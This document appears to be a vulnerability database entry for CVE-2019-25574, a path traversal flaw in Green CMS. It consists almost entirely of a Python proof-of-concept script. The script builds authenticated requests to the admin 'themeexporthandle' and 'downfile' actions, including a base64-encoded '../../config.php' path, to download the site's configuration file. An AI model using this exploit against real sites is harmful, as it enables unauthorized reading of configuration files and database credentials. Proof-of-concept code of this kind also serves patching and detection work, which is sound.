CVE-2019-25574 Green CMS路径遍历漏洞

import requests import base64 target_url = "http://target/index.php" # Example 1: Using theme_name parameter (Path Traversal) # payload = {"m": "Admin", "a": "themeexporthandle", "theme_name": "../../config.php"} # Example 2: Using downfile parameter with Base64 encoding # The target file path is ../../config.php file_path = "../../config.php" encoded_path = base64.b64encode(file_path.encode()).decode() # Result: Li4vLi4vY29uZmlnLnBocA== payload = { "m": "Admin", "a": "downfile", "file": encoded_path } # Note: Authentication is required (Cookie/Session) cookies = {"PHPSESSID": "authenticated_session_id"} # response = requests.get(target_url, params=payload, cookies=cookies) # print(response.text)